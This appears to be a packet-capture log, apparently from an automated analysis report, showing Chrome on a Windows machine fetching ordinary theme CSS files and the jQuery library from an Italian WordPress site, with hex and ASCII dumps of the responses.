2025-01-09 12:19:22 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:22 GMT Content-Type: text/css Content-Length: 23906 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:22 UTC	16091	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 23 53 69 64 65 62 61 72 20 26 20 57 69 64 67 65 74 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================#Sidebar & Widgets==================================================================================
2025-01-09 12:19:22 UTC	7815	IN	Data Raw: 3b 0a 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 32 65 6d 3b 0a 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 6e 65 77 73 2d 65 78 63 65 72 70 74 7b 0a 0a 7d 0a 0a 2f 2a 74 61 67 63 6c 6f 75 64 2a 2f 0a 2e 74 61 67 63 6c 6f 75 64 20 62 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 2e 74 61 67 63 6c 6f 75 64 20 61 7b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 70 61 64 64 69 6e 67 3a 32 70 78 20 38 70 78 3b 0a 6d 61 72 67 69 6e 3a 30 20 31 70 78 20 31 70 78 20 30 3b 0a 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 66 6c 6f 61 74 3a 6c 65 66 74 3b 0a 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a Data Ascii: ;clear: both;font-size:0.92em;display:block;}.news-excerpt{}/tagcloud/.tagcloud br{display:none;}.tagcloud a{font-size:11px !important;padding:2px 8px;margin:0 1px 1px 0;display:block;float:left;border-style: solid;border-width: 1px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49783	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:22 UTC	599	OUT	GET /wp-content/uploads/dynamic_avia/enfold.css?ver=6335ddf9ba942 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:22 UTC	294	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:22 GMT Content-Type: text/css Content-Length: 163165 Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Sep 2022 18:03:37 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:22 UTC	16090	IN	Data Raw: 0d 0a 0d 0a 3a 3a 2d 6d 6f 7a 2d 73 65 6c 65 63 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 63 39 39 63 36 36 3b 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 7d 3a 3a 73 65 6c 65 63 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 63 39 39 63 36 36 3b 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 7d 68 74 6d 6c 2e 68 74 6d 6c 5f 62 6f 78 65 64 20 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 65 65 65 65 65 20 20 20 74 6f 70 20 6c 65 66 74 20 20 6e 6f 2d 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 3b 7d 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 2c 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 64 69 76 2c 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 68 65 61 64 65 72 2c 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 6d Data Ascii: ::-moz-selection{background-color: #c99c66;color: #ffffff;}::selection{background-color: #c99c66;color: #ffffff;}html.html_boxed {background: #eeeeee top left no-repeat scroll;}.socket_color, .socket_color div, .socket_color header, .socket_color m
2025-01-09 12:19:22 UTC	16384	IN	Data Raw: 27 6e 75 6d 62 65 72 27 5d 2c 20 23 74 6f 70 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 75 72 6c 27 5d 2c 20 23 74 6f 70 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 74 65 6c 27 5d 2c 20 23 74 6f 70 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 73 65 61 72 63 68 27 5d 2c 20 23 74 6f 70 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 74 65 78 74 61 72 65 61 2c 20 23 74 6f 70 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 73 65 6c 65 63 74 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 31 65 31 65 31 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 38 66 38 66 38 3b 63 6f 6c 6f 72 3a 23 37 31 39 34 33 30 3b 7d 23 74 6f 70 20 2e 73 6f 63 6b Data Ascii: 'number'], #top .socket_color input[type='url'], #top .socket_color input[type='tel'], #top .socket_color input[type='search'], #top .socket_color textarea, #top .socket_color select{border-color:#e1e1e1;background-color: #f8f8f8;color:#719430;}#top .sock
2025-01-09 12:19:22 UTC	16384	IN	Data Raw: 6d 69 74 27 5d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 63 65 39 64 39 3b 63 6f 6c 6f 72 3a 23 37 37 34 32 31 37 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 61 63 37 62 37 3b 7d 2e 66 6f 6f 74 65 72 5f 63 6f 6c 6f 72 20 2e 61 76 69 61 2d 74 6f 63 2d 73 74 79 6c 65 2d 65 6c 65 67 61 6e 74 20 61 2e 61 76 69 61 2d 74 6f 63 2d 6c 65 76 65 6c 2d 30 3a 6c 61 73 74 2d 63 68 69 6c 64 3a 61 66 74 65 72 2c 20 2e 66 6f 6f 74 65 72 5f 63 6f 6c 6f 72 20 2e 61 76 69 61 2d 74 6f 63 2d 73 74 79 6c 65 2d 65 6c 65 67 61 6e 74 20 61 3a 66 69 72 73 74 2d 63 68 69 6c 64 3a 61 66 74 65 72 2c 20 2e 66 6f 6f 74 65 72 5f 63 6f 6c 6f 72 20 2e 61 76 69 61 2d 74 6f 63 2d 73 74 79 6c 65 2d 65 6c 65 67 61 6e 74 20 61 2e 61 76 69 61 2d 74 6f Data Ascii: mit']:hover{background-color: #fce9d9;color:#774217;border-color:#dac7b7;}.footer_color .avia-toc-style-elegant a.avia-toc-level-0:last-child:after, .footer_color .avia-toc-style-elegant a:first-child:after, .footer_color .avia-toc-style-elegant a.avia-to
2025-01-09 12:19:22 UTC	16384	IN	Data Raw: 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 75 6c 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 6c 69 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 66 69 65 6c 64 73 65 74 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 66 6f 72 6d 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 6c 61 62 65 6c 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 6c 65 67 65 6e 64 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 74 61 62 6c 65 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 63 61 70 74 69 6f 6e 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 74 62 6f 64 79 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 74 66 6f 6f 74 2c 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 Data Ascii: alternate_color ul, .alternate_color li, .alternate_color fieldset, .alternate_color form, .alternate_color label, .alternate_color legend, .alternate_color table, .alternate_color caption, .alternate_color tbody, .alternate_color tfoot, .alternate_color
2025-01-09 12:19:22 UTC	16384	IN	Data Raw: 2e 69 6e 76 65 72 73 2d 63 6f 6c 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 6e 75 6d 62 65 72 27 5d 2c 20 23 74 6f 70 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 2e 69 6e 76 65 72 73 2d 63 6f 6c 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 75 72 6c 27 5d 2c 20 23 74 6f 70 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 2e 69 6e 76 65 72 73 2d 63 6f 6c 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 74 65 6c 27 5d 2c 20 23 74 6f 70 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 2e 69 6e 76 65 72 73 2d 63 6f 6c 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 73 65 61 72 63 68 27 5d 2c 20 23 74 6f 70 20 2e 61 6c 74 65 72 6e 61 74 65 5f 63 6f 6c 6f 72 20 2e 69 6e 76 65 72 73 2d 63 6f 6c 6f 72 20 74 65 78 74 61 72 65 61 2c 20 23 74 6f 70 20 Data Ascii: .invers-color input[type='number'], #top .alternate_color .invers-color input[type='url'], #top .alternate_color .invers-color input[type='tel'], #top .alternate_color .invers-color input[type='search'], #top .alternate_color .invers-color textarea, #top
2025-01-09 12:19:22 UTC	16384	IN	Data Raw: 20 23 66 66 66 66 66 66 3b 7d 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 2e 61 76 69 61 2d 74 6f 63 2d 73 74 79 6c 65 2d 65 6c 65 67 61 6e 74 20 61 3a 6c 61 73 74 2d 63 68 69 6c 64 3a 61 66 74 65 72 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 3b 7d 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 2e 74 69 6d 65 6c 69 6e 65 2d 62 75 6c 6c 65 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 7d 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 74 61 62 6c 65 2c 20 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 2e 77 69 64 67 65 74 5f 6e 61 76 5f 6d 65 6e 75 20 75 6c 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 2e 63 75 72 72 65 6e 74 2d 6d 65 6e 75 2d 69 74 65 6d 2c 20 2e 6d 61 Data Ascii: #ffffff;}.main_color .avia-toc-style-elegant a:last-child:after{ background-color:#ffffff;}.main_color .timeline-bullet{background-color:#ffffff;border-color: #ffffff;}.main_color table, .main_color .widget_nav_menu ul:first-child>.current-menu-item, .ma
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 66 6f 72 6d 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 6c 61 62 65 6c 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 6c 65 67 65 6e 64 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 74 61 62 6c 65 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 63 61 70 74 69 6f 6e 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 74 62 6f 64 79 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 74 66 6f 6f 74 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 74 68 65 61 64 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 74 72 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 74 68 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 74 64 2c 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 61 72 74 69 63 6c 65 2c 20 2e 68 65 61 64 65 72 5f 63 Data Ascii: header_color form, .header_color label, .header_color legend, .header_color table, .header_color caption, .header_color tbody, .header_color tfoot, .header_color thead, .header_color tr, .header_color th, .header_color td, .header_color article, .header_c
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 6e 73 69 76 65 2e 6a 73 5f 61 63 74 69 76 65 20 23 74 6f 70 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 2e 61 76 69 61 5f 63 6f 6d 62 6f 5f 77 69 64 67 65 74 20 2e 74 6f 70 5f 74 61 62 20 2e 74 61 62 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 3b 7d 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 2e 74 65 6d 70 6c 61 74 65 2d 61 72 63 68 69 76 65 73 20 20 2e 74 61 62 63 6f 6e 74 61 69 6e 65 72 20 61 2c 20 23 74 6f 70 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 2e 74 61 62 63 6f 6e 74 61 69 6e 65 72 20 2e 74 61 62 3a 68 6f 76 65 72 2c 20 23 74 6f 70 20 2e 68 65 61 64 65 72 5f 63 6f 6c 6f 72 20 2e 74 61 62 63 6f 6e 74 61 69 6e 65 72 20 2e 74 61 62 2e 61 63 74 69 76 65 5f 74 61 62 7b 63 6f 6c 6f 72 3a 23 63 39 39 63 36 36 3b 7d 20 Data Ascii: nsive.js_active #top .header_color .avia_combo_widget .top_tab .tab{border-top-color:#ffffff;}.header_color .template-archives .tabcontainer a, #top .header_color .tabcontainer .tab:hover, #top .header_color .tabcontainer .tab.active_tab{color:#c99c66;}
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 23 74 6f 70 20 2e 77 63 2d 62 6f 6f 6b 69 6e 67 73 2d 62 6f 6f 6b 69 6e 67 2d 66 6f 72 6d 20 2e 62 6c 6f 63 6b 55 49 2e 62 6c 6f 63 6b 4f 76 65 72 6c 61 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 23 74 6f 70 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 2e 77 63 2d 62 6f 6f 6b 69 6e 67 73 2d 64 61 74 65 2d 70 69 63 6b 65 72 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 74 64 2e 62 6f 6f 6b 61 62 6c 65 2d 72 61 6e 67 65 20 2e 75 69 2d 73 74 61 74 65 2d 64 65 66 61 75 6c 74 2c 20 23 74 6f 70 20 2e 73 6f 63 6b 65 74 5f 63 6f 6c 6f 72 20 2e 77 63 2d 62 6f 6f 6b 69 6e 67 73 2d 64 61 74 65 2d 70 69 63 6b 65 72 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 74 64 2e 75 69 2d 64 61 74 Data Ascii: #top .wc-bookings-booking-form .blockUI.blockOverlay{background-color: #ffffff !important;}#top .socket_color .wc-bookings-date-picker .ui-datepicker td.bookable-range .ui-state-default, #top .socket_color .wc-bookings-date-picker .ui-datepicker td.ui-dat
2025-01-09 12:19:23 UTC	16003	IN	Data Raw: 72 5f 70 72 6f 64 75 63 74 5f 68 65 61 64 65 72 2c 20 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 2e 61 76 69 61 2d 61 72 72 6f 77 2c 20 23 74 6f 70 20 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 2e 76 61 72 69 61 74 69 6f 6e 73 20 73 65 6c 65 63 74 2c 20 23 74 6f 70 20 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 2e 76 61 72 69 61 74 69 6f 6e 73 20 69 6e 70 75 74 2c 20 23 74 6f 70 20 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 23 72 65 76 69 65 77 73 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 74 65 78 74 27 5d 2c 20 23 74 6f 70 20 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 23 72 65 76 69 65 77 73 20 69 6e 70 75 74 5b 74 79 70 65 3d 27 65 6d 61 69 6c 27 5d 2c 20 2e 6d 61 69 6e 5f 63 6f 6c 6f 72 20 23 72 65 76 69 65 77 73 20 2e 63 6f 6d 6d 65 6e 74 2d 74 65 78 74 2c 20 2e 6d 61 69 6e 5f 63 6f 6c 6f Data Ascii: r_product_header, .main_color .avia-arrow, #top .main_color .variations select, #top .main_color .variations input, #top .main_color #reviews input[type='text'], #top .main_color #reviews input[type='email'], .main_color #reviews .comment-text, .main_colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49784	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:22 UTC	586	OUT	GET /wp-content/themes/enfold/css/custom.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:22 UTC	291	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:22 GMT Content-Type: text/css Content-Length: 707 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:22 UTC	707	IN	Data Raw: 2f 2a 20 48 61 76 65 20 66 75 6e 20 61 64 64 69 6e 67 20 79 6f 75 72 20 73 74 79 6c 65 20 68 65 72 65 20 3a 29 20 2d 20 50 53 3a 20 41 74 20 61 6c 6c 20 74 69 6d 65 73 20 74 68 69 73 20 66 69 6c 65 20 73 68 6f 75 6c 64 20 63 6f 6e 74 61 69 6e 20 61 20 63 6f 6d 6d 65 6e 74 20 6f 72 20 61 20 72 75 6c 65 2c 20 6f 74 68 65 72 77 69 73 65 20 6f 70 65 72 61 20 6d 69 67 68 74 20 61 63 74 20 62 75 67 67 79 20 3a 28 20 2a 2f 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 43 75 73 74 6f 6d 20 43 53 53 20 2a 2f 0a 0a 0a 0a 0a 2f 2a 0a 44 65 73 6b 74 6f 70 20 53 74 79 6c 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 20 4e 6f 74 65 3a 20 41 64 64 Data Ascii: /* Have fun adding your style here :) - PS: At all times this file should contain a comment or a rule, otherwise opera might act buggy :( // General Custom CSS //Desktop Styles================================================== // Note: Add

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49785	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:22 UTC	570	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:23 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:22 GMT Content-Type: text/javascript Content-Length: 89521 Connection: close Last-Modified: Sun, 11 Sep 2022 14:12:18 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:23 UTC	16107	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 75 3d 5b 6d 3f 63 2e 66 69 72 73 74 43 68 69 6c 64 3a 63 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 26 26 72 5b 32 5d 2c 61 3d 73 26 26 63 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 73 5d 3b 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 Data Ascii: l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if(1===a.nodeType&
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 6d 28 72 29 7c 7c 28 61 3d 21 30 29 2c 6c 26 26 28 61 3f 28 74 2e 63 61 6c 6c 28 65 2c 72 29 2c 74 3d 6e 75 6c 6c 29 3a 28 6c 3d 74 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 53 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b 29 74 28 65 5b 73 5d 2c 6e 2c 61 3f 72 3a 72 2e 63 61 6c 6c 28 65 5b 73 5d 2c 73 2c 74 28 65 5b 73 5d 2c 6e 29 29 29 3b 72 65 74 75 72 6e 20 69 3f 65 3a 6c 3f 74 2e 63 61 6c 6c 28 65 29 3a 75 3f 74 28 65 5b 30 5d 2c 6e 29 3a 6f 7d 2c 5f 3d 2f 5e 2d 6d 73 2d 2f 2c 7a 3d 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 55 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 Data Ascii: m(r)\|\|(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 6f 63 28 65 29 29 29 66 6f 72 28 61 3d 76 65 28 63 29 2c 72 3d 30 2c 69 3d 28 6f 3d 76 65 28 65 29 29 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 73 3d 6f 5b 72 5d 2c 75 3d 61 5b 72 5d 2c 76 6f 69 64 20 30 2c 22 69 6e 70 75 74 22 3d 3d 3d 28 6c 3d 75 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 26 26 70 65 2e 74 65 73 74 28 73 2e 74 79 70 65 29 3f 75 2e 63 68 65 63 6b 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 74 22 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 76 65 28 65 29 2c 61 3d 61 7c 7c 76 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e Data Ascii: oc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 